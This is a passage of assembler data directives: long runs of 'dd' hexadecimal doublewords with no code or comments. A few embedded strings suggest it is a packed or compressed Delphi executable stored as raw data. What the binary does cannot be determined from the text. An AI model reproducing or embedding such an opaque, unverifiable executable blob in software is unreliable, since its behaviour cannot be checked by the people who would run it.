0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h dd 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h dd 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h dd 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h dd 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h, 0DD105180h dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh dd 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h dd 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h, 84135640h dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h dd 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh, 92148D03h dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h dd 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h dd 3A1672E6h, 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h dd 1489313h, 9F4A00D3h, 401625B6h, 83780208h, 311AB200h dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh dd 903119h, 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h, 8840541h dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h dd 0AD41F6h, 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh dd 92DF7430h, 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h dd 0CD290Eh, 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh dd 50C741Ah, 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h dd 3F29845h, 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h dd 0B847604Fh, 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh dd 6BE84700h, 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h dd 1B2089CCh, 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h dd 0AC8B8954h, 34E683h, 8AEAA267h, 63C41618h, 0E0985200h dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh dd 12C3AB7h, 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h dd 93AECFAh, 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h dd 90751ED3h, 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh dd 90C1300h, 22000E74h, 4950811Dh, 23581Eh, 47257531h dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h dd 77EA064h, 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh dd 8B2507E6h, 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h dd 1365AEB3h, 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh dd 0A54161E6h dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh dd 0F3942467h, 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh dd 99CB9238h, 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h dd 35B5A100h, 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h dd 2080EE93h, 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h dd 0F294834Bh, 383C22h, 334AE877h, 30BB354h, 0D0299200h dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h, 0E186926h dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah dd 66F0041h, 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h dd 95F8375h, 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh dd 40CFC90h, 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h dd 0C70441h, 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh, 68BC0800h dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh dd 0C05857DCh, 277007Ch dd 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h dd 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h dd 41813800h, 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh, 6394C9h dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch dd 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h dd 32125B3Bh, 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh dd 0E506ADA0h, 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h dd 0F0F35214h, 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h dd 5DFD6D0h, 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h dd 9B3D09h, 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h dd 0BD0FDCh, 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h dd 0C0756Dh, 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh dd 2FC0C08h, 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h, 93CBE658h dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h, 47640027h dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h dd 7204583Bh, 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h, 371C8Dh dd 3ADC3880h, 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh dd 72047E2h, 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh dd 0C793001Eh dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch dd 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h dd 0FBEB802Bh, 6E232938h, 